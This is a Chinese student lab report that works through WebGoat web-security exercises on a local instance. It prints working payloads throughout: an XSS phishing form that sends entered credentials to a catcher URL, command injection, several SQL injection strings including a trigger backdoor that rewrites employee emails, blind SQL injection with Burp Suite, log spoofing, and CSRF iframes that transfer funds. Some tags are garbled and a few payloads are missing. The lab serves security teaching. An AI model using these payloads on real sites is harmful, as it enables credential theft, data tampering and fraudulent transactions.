2018-2019-2 网络对抗技术 20165231 Exp9 Web安全基础

实验内容

本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。

实验过程

WebGoat: Webgoat是OWASP组织研究出的一个专门进行web漏洞实验的应用品台,这个平台里包含了web中常见的各种漏洞,例如:跨站脚本攻击、sql注入、访问控制、隐藏字段、Cookie等;
首先下载WebGoat
wget https://github.com/WebGoat/WebGoat/releases/download/7.1/webgoat-container-7.1-exec.jar
输入java -jar webgoat-container-7.1-exec.jar命令打开WebGoat
2018-2019-2 网络对抗技术 20165231 Exp9 Web安全基础_第1张图片

在浏览器上对WebGoat进行访问。
地址localhost:8080/WebGoat
2018-2019-2 网络对抗技术 20165231 Exp9 Web安全基础_第2张图片
然后使用默认用各户guest和默认密码guest登陆

Cross-Site Scripting (XSS)

Phishing with XSS(钓鱼攻击)

search部分填写一个页面,用于钓鱼

<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert(".....your information was stolen by lsq! User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
script>
<form name="phish">
<br>
<br>
<HR>
    <H2>please input your information here:H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
form>
<br>
<br>
<HR>

点击search后

随便输入用户名和密码
2018-2019-2 网络对抗技术 20165231 Exp9 Web安全基础_第3张图片
登陆后,会发现 页面填写的信息已经被捕获并且反馈回来显示在页面上。

2018-2019-2 网络对抗技术 20165231 Exp9 Web安全基础_第4张图片

Stored XSS Attacks

XSS攻击代码存储于数据库中,每次当用户打开此网页时便会执行,危害大,常用语留言板,每次当用户查看留言信息时即触发。导致用户访问时载入非预期的页面或内容。

在Title中随便输入

在Message中输入

点击submit创建帖子后:

点击上面的连接,攻击成功。
2018-2019-2 网络对抗技术 20165231 Exp9 Web安全基础_第5张图片

Reflected XSS Attacks(反射型XSS)

非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
当未验证的用户输入用在HTTP响应时会发生XSS。在一个反射XSS攻击中,攻击者可以使用攻击脚本制造一个URL,然后提交到另一个网站、发邮件或让受害者点击。
2018-2019-2 网络对抗技术 20165231 Exp9 Web安全基础_第6张图片

Injection Flaws

Command Injection

命令注入攻击对任何一个以参数驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这类风险数目令人难以置信,互联网中的系统很容易受到这种形式的攻击。

启动WebScarab。在课程页面的下拉列表中任意选择一个页面,然后点“View"
2018-2019-2 网络对抗技术 20165231 Exp9 Web安全基础_第7张图片
在所请求的页面处添加"&netstat -an & ipconfig"。然后再点击view进行查看。

查看到网络端口使用的情况和IP地址。
2018-2019-2 网络对抗技术 20165231 Exp9 Web安全基础_第8张图片

Numeric SQL Injection(数字型SQL注入)

在station字段中注入特征字符,能组合成新的SQL语句。
SELECT * FROM weather_data WHERE station=[station]

下面的表单允许用户查看天气数据。通过注入SQL字符串的方式查看所有的天气数据
2018-2019-2 网络对抗技术 20165231 Exp9 Web安全基础_第9张图片
选择一个城市,点“GO”

在编号后面添加“or 1=1”,确定
2018-2019-2 网络对抗技术 20165231 Exp9 Web安全基础_第10张图片
添加后点击GO,就能够看到所有城市的天气数据
2018-2019-2 网络对抗技术 20165231 Exp9 Web安全基础_第11张图片

日志欺骗(Log Spoofing)

这种攻击时在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹。

在Username输入wyhy%0d%0aLogin Succeeded for username: admin,其中%0d是回车,%0a是换行符。

如图,攻击成功。
2018-2019-2 网络对抗技术 20165231 Exp9 Web安全基础_第12张图片

String SQL Injection

LAB: SQL Injection(SQL注入)

Stage1:String SQL Injection
使用SQL注入绕过认证。

以用户Neville登录,在密码栏中输入' or 1=1 --进行SQL注入,但是登录失败。
使用inspect element查看了一下网页源码,发现输入框对输入的字符长度进行了限制,最多只允许输入8个字符,将8改为40

然后就可以登陆了
2018-2019-2 网络对抗技术 20165231 Exp9 Web安全基础_第13张图片
Stage3:Numeric SQL Injection
该课程的目的是通过注入语句,浏览到原本无法浏览的信息。通过一个普通员工的账户,浏览其BOSS的账户信息。
2018-2019-2 网络对抗技术 20165231 Exp9 Web安全基础_第14张图片
点击ViewProfile浏览员工信息
2018-2019-2 网络对抗技术 20165231 Exp9 Web安全基础_第15张图片
将员工信息的value值改为101 or 1=1 order by salary desc --
这样根据工资高低的排名,老板的信息就会被排到第一个。
2018-2019-2 网络对抗技术 20165231 Exp9 Web安全基础_第16张图片

Database Backdoors(数据库后门)

输入101,得到了该用户的信息:
2018-2019-2 网络对抗技术 20165231 Exp9 Web安全基础_第17张图片
输入的语句没有验证,很容易进行SQL注入。若要执行两个语句,中间需要用分号分隔。输入注入语句101;update employee set salary=90000
2018-2019-2 网络对抗技术 20165231 Exp9 Web安全基础_第18张图片
使用以下查询条件,添加触发器:
101;CREATE TRIGGER lsqBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='[email protected]' WHERE userid = NEW.userid
2018-2019-2 网络对抗技术 20165231 Exp9 Web安全基础_第19张图片

Blind Numeric SQL Injection(数字型盲注入)

目标是找到pins表中cc_number字段值为1111222233334444的记录中pin字段的数值。pin字段类型为int,整型。
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );

查看pin数值是否大于10000

一直尝试 5000、2500,到1250发现提示变为账户有效

打开BurpSuite,设置代理proxyoptions

将端口号改为5231,点击add,ok
2018-2019-2 网络对抗技术 20165231 Exp9 Web安全基础_第20张图片
设置浏览器的代理,打开浏览器右侧的“更多”,依次点击preference->advanced->natwork->settings,选择下图所示代理,端口号为自己刚刚设置的端口号。
2018-2019-2 网络对抗技术 20165231 Exp9 Web安全基础_第21张图片

当于将burpsuite当成中间服务器,每个数据包都流过它。。返回题目,点击go,返回BurpSuite,已经抓好包。
2018-2019-2 网络对抗技术 20165231 Exp9 Web安全基础_第22张图片
在Positions中,选择Sniper模式,在Payloads中,选择type类型为number,然后设置变化范围2250-2500,并设置步长为1,在Options中,选择Start attack开始攻击。

2018-2019-2 网络对抗技术 20165231 Exp9 Web安全基础_第23张图片

找到数据包大小变化的值为2364

在WebGoat中带入2364,正确。
2018-2019-2 网络对抗技术 20165231 Exp9 Web安全基础_第24张图片

CSRF

Cross Site Request Forgery(CSRF)

可以通过在右边插入的参数中找到“屏幕”和“菜单”值来构建链接。当时被认证的CSRF邮件的收件人将转移他们的资金。当这一课的攻击成功时,左边的菜单旁边出现一个绿色的复选标记。
2018-2019-2 网络对抗技术 20165231 Exp9 Web安全基础_第25张图片
在message中输入
2018-2019-2 网络对抗技术 20165231 Exp9 Web安全基础_第26张图片
screen的值和menu的值是由上图得到的。然后通过宽高设置成1像素,隐藏掉这个图片。

提交后会在消息列表中看到新的消息

点击后会加载下面这条消息,达到CSRF攻击的目的
2018-2019-2 网络对抗技术 20165231 Exp9 Web安全基础_第27张图片

CSRF Prompt By-Pass

在Title输入:5231
在Message输入:

"attack?Screen=273&menu=900&transferFunds=5000"
    id="myFrame" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300"
    onload="document.getElementById('frame2').src='attack?Screen=280&menu=900&transferFunds=CONFIRM';">
iframe>